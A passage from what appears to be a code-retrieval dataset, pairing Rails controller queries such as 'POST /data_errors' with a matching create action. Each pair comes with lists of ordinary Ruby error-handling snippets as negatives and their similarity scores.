"def error(x, status:200, type:\"request\", title:\"An error occurred\", message:\"\", args: [])\n x.res.status = status\n if App[:app_error][type.to_sym]\n App[:app_error][type.to_sym][:get][x, title, message, *args]\n else\n x << \"ERROR: #{title} - #{message}\"\n end\n end",
"def _error(message,code) \n status code\n response.headers['Content-Type'] = 'application/json'\n body({:error=>{:message=>message}}.to_json)\n end",
"def londons_rescue\n render json: { error: \"Gym not found\"}, status: 422\n end",
"def errors\n @raw_response.parsed_response&.dig(\"errorList\", \"error\") || []\n end",
"def index\n # @error = Error.create(error_params)\n render nothing: true\n end",
"def errors\n {}\n end",
"def record_not_found\n render json: ErrorSerializer.serialize({ record: \"Record not found.\" }), status: :not_found\n end",
"def json_fail(message)\n { status: 'fail', data: { message: message } }\n end",
"def error_response_method(error)\n if !params[:format].nil? && params[:format] == \"json\"\n @error = {}\n @error[\"code\"]=error[\"status_code\"]\n @error[\"message\"]=error[\"status_message\"]\n return @error\n end\n end",
"def render_bad_request(error)\n json_response({ error: { message: error.message } }, :bad_request)\n end",
"def bad_request\n render :json => {:success=>false, :error_code=> 400, :error_msg=>\"Bad Request\"}\n end",
"def render_error(err)\n json_response({ message: err }, :unprocessable_entity)\n end",
"def render_not_found(error)\n json_response({ error: { message: error.message } }, :not_found)\n end",
"def bad_request(error)\n json_response({ message: error.message }, :bad_request)\n end",
"def record_not_found\n render :json => {:success=>false, :error_code => 404, :error_msg=>\"Record not Found\"}\n end",
"def render_fail_json(msg = '', status = :unauthorized, data = nil, links = nil)\n render json: {\n status: 'fail',\n code: ApplicationHelper.code_status[status],\n msg: msg,\n data: data,\n links: links\n }, status: status\n end",
"def json_resource_errors\n resource.errors.messages.to_json\n end",
"def errors_for(object)\n { json: { errors: object.errors }, status: :unprocessable_entity }\n end",
"def error(msg, data=nil)\n ret = {\n \"error\"=>msg\n }\n ret = ret.merge(data) if data\n render :text=>ret.to_json\n # render :text=>\"{\\\"error\\\":\\\"#{msg}\\\"}\"\n end",
"def error(msg, data=nil)\n ret = {\n \"error\"=>msg\n }\n ret = ret.merge(data) if data\n render :text=>ret.to_json\n # render :text=>\"{\\\"error\\\":\\\"#{msg}\\\"}\"\n end",
"def error\r\n\t\t\t`#{BITS::BITSADMIN} /geterror {#{@id}}`\r\n\t\tend",
"def handle_errors(err)\n unless err && err.kind_of?(Google::Apis::Error)\n print \"Unknown error: #{err}\"\n exit\n end\n body_json = MultiJson.load(err.body)\n if body_json['error']\n puts \"Error(s) when performing request:\"\n body_json['error']['errors'].each do |error|\n puts \" - [#{error['reason']}] #{error['message']}\"\n end\n else\n puts \"Unknown error when performing request, details below:\"\n puts\n puts \"Response headers:\"\n puts \"-----------------\"\n err.header.each do |key, value|\n puts \"#{key}: #{value}\"\n end\n puts\n puts \"Response body:\"\n puts \"--------------\"\n puts err.body\n end\nend",
"def record_not_found\n render json: {error: I18n.t('errors.not_found')}.to_json, status: 404\n end",
"def test_get_invalid_metric_metric1\n get '/metric1/param1/param2/param3'\n assert_equal 404, last_response.status\n end",
"def error_status\n format.html { render :edit }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end",
"def respond_with_bad_request(errors)\n render :status => :bad_request, :json => {\n :message => errors.full_messages.join(', ') }\n end",
"def get_errors(service)\n\t\treturn @transport.get_path(\"errors\",service)\n\tend",
"def record_not_found\n render json: { error: { message: 'Record not found.' }}, status: :not_found\n end",
"def key_errors\n key(\"errors\")\n end",
"def error(status_code, error_message)\n content_type 'application/json'\n [status_code, JSON.dump({error: {message: error_message}})]\n end",
"def send_error(code, status = :bad_request, error = nil, data = nil)\n error_hash = {\n code: code\n }\n\n error_hash[:message] = error if error\n error_hash[:data] = data if data\n\n render json: error_hash, status: status\n end",
"def render_error_messages(errors, status = :unprocessable_entity)\n render(json: { errors: errors }, status: status)\n end",
"def get_error_response()\n error_message = \"\"\n @errors.each do |k,v|\n error_message << v + \",\"\n end\n error_message\n end",
"def fail_response(data={})\n status = data.delete(:status) || 400\n {\n status: status,\n json: {\n status: \"fail\",\n data: data\n }\n }\n end",
"def render_error error_code, error_type, text\n content_type :json\n\n #compose output JSON\n output = { \n :status => \"error\", \n :code => error_code.to_i, \n :error_type => error_type.to_s, \n :executed_at => Time.now.strftime(\"%Y-%m-%d %H:%M:%S\"), \n }\n\n if text.is_a?(Hash)\n output.merge!(text)\n else\n output[:message] = text \n end\n\n #warning about conent type!\n output[:warning_invalid_content_type] = \"Please set request header content-type to 'application/json' - if you will not se it you are limited by 64KB by request\" unless request.env['CONTENT_TYPE'] && request.env['CONTENT_TYPE'].include?(\"application/json\")\n\n #items and name specified\n halt error_code.to_i, Yajl::Encoder.encode(output)\n end",
"def error\n errors.first\n end",
"def error\n errors.first\n end",
"def record_not_found\n render json: {error: \"Record not found\"}.to_json, status: 404\n end",
"def bad_request(object)\n render json: object, status: 400\n end",
"def render_error\n render json: { errors: @address.errors.full_message }, status: unprocessable_entity\n end",
"def contact_errors\n error \"name\"\n error \"age\"\n error \"homepage\"\n end",
"def api_error; end"
] | [
"0.6915871",
"0.6842427",
"0.6842427",
"0.6769913",
"0.6687202",
"0.6681599",
"0.6664746",
"0.6643704",
"0.6529256",
"0.6409022",
"0.6373255",
"0.6365299",
"0.63526565",
"0.6350938",
"0.63375586",
"0.63320255",
"0.6301945",
"0.6296029",
"0.62238604",
"0.62185663",
"0.6216142",
"0.6177734",
"0.6163272",
"0.61529136",
"0.6110657",
"0.60974556",
"0.6089269",
"0.60860246",
"0.6078996",
"0.60511136",
"0.6050678",
"0.6049908",
"0.60418373",
"0.60297835",
"0.601299",
"0.6001914",
"0.5993961",
"0.598798",
"0.5980136",
"0.5975066",
"0.5965958",
"0.5963703",
"0.5959571",
"0.5957087",
"0.59566075",
"0.59486073",
"0.5945252",
"0.5943255",
"0.5942073",
"0.5936878",
"0.59363484",
"0.59305114",
"0.59303766",
"0.5930325",
"0.5926944",
"0.591118",
"0.5907797",
"0.5905646",
"0.5903052",
"0.58982",
"0.58968157",
"0.58938056",
"0.58932686",
"0.5890574",
"0.5888192",
"0.5879195",
"0.5877711",
"0.586582",
"0.5863147",
"0.5861445",
"0.5859616",
"0.5856808",
"0.5849265",
"0.5846652",
"0.5845775",
"0.5841482",
"0.5838902",
"0.5838902",
"0.5837548",
"0.5835503",
"0.5827025",
"0.5826871",
"0.5822172",
"0.5821789",
"0.58200693",
"0.5815051",
"0.5814272",
"0.58109844",
"0.58058816",
"0.58036596",
"0.57991374",
"0.5794404",
"0.57934433",
"0.57843316",
"0.57843316",
"0.5784115",
"0.578276",
"0.57822543",
"0.5780512",
"0.5762637"
] | 0.7119997 | 0 |
GET /data_errors/new GET /data_errors/new.json | def new
@data_error = DataError.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @data_error }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @information_error = InformationError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information_error }\n end\n end",
"def new\n @thing_with_error = ThingWithError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing_with_error }\n end\n end",
"def new\n @runs_error = RunsError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @runs_error }\n end\n end",
"def create\n @data_error = DataError.new(params[:data_error])\n\n respond_to do |format|\n if @data_error.save\n format.html { redirect_to @data_error, notice: 'Data error was successfully created.' }\n format.json { render json: @data_error, status: :created, location: @data_error }\n else\n format.html { render action: \"new\" }\n format.json { render json: @data_error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @user = User.new\n errors = params['errors'].to_a\n errors.each{|e| @user.errors[:base] << e}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end",
"def new\n #create a new validation\n @validation = Validation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @validation }\n end\n end",
"def new\n @problem = Problem.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @problem }\n end\n end",
"def new\n @missing_person = MissingPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @missing_person }\n end\n end",
"def new\n @problem = Problem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @problem }\n end\n end",
"def new\n @problem = Problem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @problem }\n end\n end",
"def new\n @bug = Bug.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bug }\n end\n end",
"def new\n @bug = Bug.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bug }\n end\n end",
"def new\n @patient_history = PatientHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_history }\n end\n end",
"def new\n @error_type = ErrorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @error_type }\n end\n end",
"def new\n @messagetold = Messagetold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @messagetold }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @data_collection = DataCollection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_collection }\n end\n end",
"def new\n @raw_datum = RawDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @raw_datum }\n end\n end",
"def new\n @dataload_email = DataloadEmail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataload_email }\n end\n end",
"def new\n @daily_data_delivery_exception = DailyDataDeliveryException.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @daily_data_delivery_exception }\n end\n end",
"def new\n @normal_issue = NormalIssue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @normal_issue }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stat }\n end\n end",
"def new\n @patch = Patch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patch }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient }\n end\n end",
"def new\n @mistake = Mistake.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mistake }\n end\n end",
"def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat }\n end\n end",
"def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end",
"def new\n @datum = Datum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datum }\n end\n end",
"def new\n @datum = Datum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datum }\n end\n end",
"def new\n @spree_error_log = Spree::ErrorLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spree_error_log }\n end\n end",
"def new\n @item_datum = ItemData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_datum }\n end\n end",
"def new\n @try = Try.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @try }\n end\n end",
"def new\n @status_de_interes_de_prospecto_validado = StatusDeInteresDeProspectoValidado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_interes_de_prospecto_validado }\n end\n end",
"def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status }\n end\n end",
"def new\n @stat_misc = StatMisc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat_misc }\n end\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @userr = Userr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @userr }\n end\n end",
"def new\n @issue = Issue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end",
"def new\n @question_datum = QuestionDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_datum }\n end\n end",
"def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @good }\n end\n end",
"def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataset }\n end\n end",
"def new\n @query_history = QueryHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @query_history }\n end\n end",
"def new\n @data_note = DataNote.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_note }\n end\n end",
"def new\n @data_value = @class.new\n\n respond_to do |format|\n format.html { render 'data_values/new'}\n format.json { render json: @data_value }\n end\n end",
"def new\n @processed_datum = ProcessedDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @processed_datum }\n end\n end",
"def new\n @git_datum = GitDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @git_datum }\n end\n end",
"def new\n @patient = Patient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient }\n end\n end",
"def new\n @patient = Patient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient }\n end\n end",
"def new\n @patient = Patient.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @patient }\n end\n end",
"def new\n @request_status = RequestStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request_status }\n end\n end",
"def create\n @error = Error.new(error_params)\n\n respond_to do |format|\n if @error.save\n format.html { redirect_to @error, notice: \"Error was successfully created.\" }\n format.json { render :show, status: :created, location: @error }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @error.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @green = Green.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @green }\n end\n end",
"def new\n load_data\n @comment = Comment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comment }\n end\n end",
"def new\n @error_log = ErrorLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @error_log }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def new\n @status_record = StatusRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_record }\n end\n end",
"def new\n @correction = Correction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @correction }\n end\n end",
"def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end",
"def new\n @dlog = Dlog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dlog }\n end\n end",
"def new_with_errors\n render :layout => 'new'\n end",
"def new\n @mispronunciation = Mispronunciation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @mispronunciation }\n end\n end",
"def create\n # @error = Error.create(error_params)\n render nothing: true\n end",
"def new\n @validator = Validator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @validator }\n end\n end",
"def new\n @notice = @person.notices.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notice }\n end\n end",
"def new\n @wr_log = WrLog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wr_log }\n end\n end",
"def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end",
"def index\n # @error = Error.create(error_params)\n render nothing: true\n end",
"def new\n @dataelement = Dataelement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataelement }\n end\n end",
"def new\n @status_de_la_notificacion = StatusDeLaNotificacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_la_notificacion }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @newapp = Newapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newapp }\n end\n end",
"def new\n # @gethotelstaticdatagd = Gethotelstaticdatagd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotelstaticdatagd }\n end\n end",
"def new\n @task_changes = TaskChange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_changes }\n end\n end",
"def new\n @patient_group = PatientGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_group }\n end\n end",
"def new\n @medhistory = Medhistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @medhistory }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @fix_issue = FixIssue.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @fix_issue }\n end\n end",
"def new\n @patient_condition = PatientCondition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @patient_condition }\n end\n end",
"def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end",
"def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end",
"def new\n @instance_fault = InstanceFault.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance_fault }\n end\n end",
"def new\n @important_issue = ImportantIssue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @important_issue }\n end\n end",
"def new\n @pageType = \"new\"\n @patient = Patient.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient }\n end\n end",
"def new\n @group_stat = GroupStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_stat }\n end\n end",
"def new\n @aiaioo_failure = AiaiooFailure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aiaioo_failure }\n end\n end",
"def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end",
"def new\n @datastore = Datastore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @datastore }\n end\n end",
"def new\n # @event = Event.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n end",
"def new\n @needed_good = NeededGood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @needed_good }\n end\n end",
"def new\n @title = \"New Resources Periods\"\n @resource_period = ResourcePeriod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @resource_period }\n end\n end",
"def new\n @alert = Alert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alert }\n end\n end",
"def new\n @lbl_colour = LblColour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lbl_colour }\n end\n end"
] | [
"0.71066225",
"0.7088602",
"0.6927872",
"0.6787473",
"0.6518212",
"0.64986336",
"0.6448356",
"0.6432634",
"0.64298713",
"0.6426504",
"0.6412556",
"0.6412556",
"0.63385135",
"0.63385135",
"0.6337157",
"0.6334755",
"0.6316414",
"0.628928",
"0.6286267",
"0.62850636",
"0.62820566",
"0.62679094",
"0.6261064",
"0.62551355",
"0.6254214",
"0.6253056",
"0.6247109",
"0.62418926",
"0.6235892",
"0.6231203",
"0.6231203",
"0.6225057",
"0.61978877",
"0.6191256",
"0.6190274",
"0.61855793",
"0.61855716",
"0.6182311",
"0.61812496",
"0.6177878",
"0.617612",
"0.6170785",
"0.61607456",
"0.6157187",
"0.61555374",
"0.61551607",
"0.6154207",
"0.6151064",
"0.6150127",
"0.6146789",
"0.6146789",
"0.61350834",
"0.613499",
"0.6124971",
"0.6124408",
"0.61128867",
"0.6109912",
"0.6103065",
"0.60985386",
"0.60913503",
"0.6089129",
"0.60877216",
"0.60869825",
"0.6086682",
"0.6079847",
"0.6078595",
"0.6075483",
"0.60747176",
"0.6071188",
"0.6069764",
"0.60645634",
"0.60629016",
"0.60629016",
"0.60629016",
"0.60629016",
"0.60629016",
"0.606172",
"0.60600084",
"0.60584795",
"0.6055369",
"0.60422516",
"0.60359865",
"0.60359865",
"0.60359865",
"0.6035871",
"0.60333925",
"0.60326636",
"0.60326636",
"0.6032007",
"0.60312045",
"0.6030629",
"0.60248274",
"0.6014848",
"0.60114384",
"0.6010792",
"0.60106045",
"0.6009504",
"0.60050595",
"0.6004003",
"0.60022736"
] | 0.80718416 | 0 |
POST /data_errors POST /data_errors.json | def create
@data_error = DataError.new(params[:data_error])
respond_to do |format|
if @data_error.save
format.html { redirect_to @data_error, notice: 'Data error was successfully created.' }
format.json { render json: @data_error, status: :created, location: @data_error }
else
format.html { render action: "new" }
format.json { render json: @data_error.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def format_errors(_data)\n _data.errors.as_json\n end",
"def post(exception_data)\n hash = exception_data.to_hash\n hash[:session].delete(\"initialization_options\")\n hash[:session].delete(\"request\")\n call_remote(:errors, hash.to_json)\n end",
"def error(data = false)\n { error: data }.to_json\n end",
"def render_errors(errors)\n render json: errors, status: :bad_request\n end",
"def halt_bad_request(code, errors, message = 'Bad request')\n data = MultiJson.dump(error: { code: code, message: message, errors: errors })\n size = data.bytesize.to_s\n [\n 400,\n { 'Content-Type' => 'application/json;charset=utf-8', 'Content-Length' => size },\n [data]\n ]\n end",
"def new\n @data_error = DataError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_error }\n end\n end",
"def render_errors(model)\n render json: { errors: model.errors.full_messages.join(',\\n')}, status: 422\n end",
"def json_render_errors(errors)\n json_fail errors\n end",
"def send_error(code, status = :bad_request, error = nil, data = nil)\n error_hash = {\n code: code\n }\n\n error_hash[:message] = error if error\n error_hash[:data] = data if data\n\n render json: error_hash, status: status\n end",
"def error\n @data['error']\n end",
"def error\n @data['error']\n end",
"def json_validation_errors( errors, **context, &block )\n response = build_json_response( context )\n response.validation_errors errors, &block\n\n response.as_json\n end",
"def errors_for(object)\n { json: { errors: object.errors }, status: :unprocessable_entity }\n end",
"def error\n data['error']\n end",
"def _error(message,code) \n status code\n response.headers['Content-Type'] = 'application/json'\n body({:error=>{:message=>message}}.to_json)\n end",
"def json_fail(message)\n { status: 'fail', data: { message: message } }\n end",
"def validation_error(resource, status = 400, title = 'Bad Request')\n render json: {\n errors: [\n {\n status: status,\n title: title,\n detail: resource.errors,\n code: '100'\n }\n ]\n }, status: status\n end",
"def fail_response(data={})\n status = data.delete(:status) || 400\n {\n status: status,\n json: {\n status: \"fail\",\n data: data\n }\n }\n end",
"def test_email_invalid_format\n data = { 'email' => 'ace@base', 'password' => 'open1234' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n json_data = JSON last_response.body\n assert json_data['errors'].present?\n end",
"def render_error_json(msg = '', status = :internal_server_error, data = nil, links = nil)\n render json: {\n status: 'error',\n code: ApplicationHelper.code_status[status],\n msg: msg,\n data: data,\n links: links\n }, status: status\n end",
"def test_create_fail\n post '/resources'\n assert_equal 400, last_response.status\n last_response.headers['Content-Type'].must_equal 'application/json;charset=utf-8'\n assert_json_match error_message_pattern, last_response.body\n end",
"def error(status_code, error_message)\n content_type 'application/json'\n [status_code, JSON.dump({error: {message: error_message}})]\n end",
"def error_base\n {\n code: JSONAPI::VALIDATION_ERROR,\n status: :unprocessable_entity\n }\n end",
"def error_data?(data)\n case\n when data.kind_of?(::StandardError) || data.is_a?(Errors)\n true\n when data.is_a?(Hash)\n response_class.error_key?(data)\n else\n false\n end\n end",
"def render_error\n render json: { errors: @collection.errors.full_messages }, status: :unprocessable_entity\n end",
"def invalid_json_json(exception)\n code = 500\n render :json => Status::Errors.exception_json(\"We are currently experiencing issues with our data server, please try again soon.\", code).to_json, :status => code\n end",
"def record_invalid(error)\n # For a ActiveRecord::RecordInvalid error, the .record method \n # returns the model instance that failed validation\n invalid_record = error.record\n errors = invalid_record.errors.map do |field, message|\n {\n type: error.class.to_s,\n record_type: error.record.class.to_s,\n field: field,\n message: message\n }\n end\n render(\n json: {\n errors: errors\n },\n status: :unprocessable_entity # alias for status 422\n ) \n end",
"def render_json_error(obj, opts = {})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def status_code; 422; end",
"def status_code; 422; end",
"def status_code; 422; end",
"def status_code; 422; end",
"def unprocessable_entity(record)\n status 422\n errors = { \"errors\" => record.errors.full_messages }\n\n json errors\n end",
"def render_validation_errors(errors)\n error_responses = errors.full_messages.map { |message| { error: 'ValidationError', message: message } }\n render status: 422, json: { errors: error_responses }\n end",
"def failure\n render json: {status: 1, data: nil}\n end",
"def error(msg, data=nil)\n ret = {\n \"error\"=>msg\n }\n ret = ret.merge(data) if data\n render :text=>ret.to_json\n # render :text=>\"{\\\"error\\\":\\\"#{msg}\\\"}\"\n end",
"def error(msg, data=nil)\n ret = {\n \"error\"=>msg\n }\n ret = ret.merge(data) if data\n render :text=>ret.to_json\n # render :text=>\"{\\\"error\\\":\\\"#{msg}\\\"}\"\n end",
"def test_post_invalid\n header 'Content-Type', 'application/json'\n\n json = JSON.generate [{ latitude: 'wrong', longitude: 'wrong' }]\n post('/traces', json, 'CONTENT_TYPE': 'application/json')\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def api_error\n dm_data.first.first == \"errors\"\n end",
"def bad_request\n render :json => {:success=>false, :error_code=> 400, :error_msg=>\"Bad Request\"}\n end",
"def error_message(errors, status)\n render json: { errors: errors }, status: status\n end",
"def apply_errors\n apply_errors_get(data)\n end",
"def bad_request(object)\n render json: object, status: 400\n end",
"def render_error\n render json: { errors: @collectioner.errors.full_messages }, status: :unprocessable_entity\n end",
"def decode_remote_errors(data, options={})\n data.present? ? (Hash===data ? data : {base: data}) : {}\n end",
"def render_error(err)\n json_response({ message: err }, :unprocessable_entity)\n end",
"def bad_request(message)\n render json: {\n errors: message,\n status: :bad_request\n }, status: 400\n end",
"def four_twenty_two(error)\n json_response({ errors: error }, :unprocessable_entity)\n end",
"def error!(status, message)\n response.status = status\n response[\"Content-Type\"] = \"application/json\"\n response.write({error: message}.to_json)\n request.halt\n end",
"def error(status, code, message)\n render :json => {:response_type => \"ERROR\", :response_code => code, :message => message}.to_json, :status => status\n end",
"def validation_error_as_json\n Jbuilder.encode do |json|\n json.error 'Validation Failed'\n end\n end",
"def json_error(code, message, component = '', operation = '', time = Time.now.utc)\n msg = {'error' => message}\n logger.cust_error(status:code, start_stop: 'STOP',\n component: component, message: message,\n operation: operation, time_elapsed: (Time.now.utc - time).to_s)\n halt code, {'Content-type' => 'application/json'}, msg.to_json\n end",
"def json_error err, status = 400, headers = {}\n\t\t\tjson_resp({'error' => err}, status, headers)\n\t\tend",
"def record_invalid(exception)\n render json: exception.record.errors, status: :unprocessable_entity\n end",
"def render_json_error(error_message, status = 400)\n render_json_errors [error_message], status\n end",
"def api_error(status_code, field_name, field_description)\n endpoint_info[:api_errors] << {\n status_code: status_code,\n response_field_name: field_name,\n response_field_description: field_description\n }\n end",
"def error(message, status = 422)\n render text: message, status: status\n end",
"def test_duplicate_user\n data = { 'email' => 'ace@base.se', 'password' => 'open1234' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n json_data = JSON last_response.body\n assert json_data['errors'].present?\n end",
"def error_params\n params.require(:error).permit(:error)\n end",
"def error\n return unless body['error'] || body['error_message']\n\n error_response = normalize_error(body)\n deserialize_json(error_response)\n end",
"def record_invalid(error)\n #Our object should look something like this:\n # {\n # errors: [\n # {\n # type: \"ActiveRecord::RecordInvalid\",\n # record_type: \"Question\",\n # field: \"body\",\n # message: '...'\n # }\n # ]\n # }\n\n invalid_record = error.record\n errors = invalid_record.errors.map do |field, message|\n {\n type: error.class.to_s, #need it in string format\n record_type: invalid_record.class.to_s,\n field: field,\n message: message\n }\n end\n render(\n json: { status: 422, errors: errors },\n status: 422 #alias is :unprocessable_entity\n )\n end",
"def render_422(object)\n errors = JsonApiServer.validation_errors(object)\n render json: errors.to_json, status: 422\n end",
"def post(exception_data)\n hash = exception_data.to_hash\n if hash[:session]\n hash[:session].delete(\"initialization_options\")\n hash[:session].delete(\"request\")\n end\n\n Exceptional.post_exception(hash.to_json)\n end",
"def wrong_params?\n if has_not_mandatory_params?\n render json: { message: \"Wrong data params\" }, status: 400\n end\n end",
"def json_resource_errors\n {\n error: true,\n errors: resource.errors,\n }\n end",
"def respond_with_bad_request(errors)\n render :status => :bad_request, :json => {\n :message => errors.full_messages.join(', ') }\n end",
"def json_resource_errors\n { errors: resource.errors.full_messages }\n end",
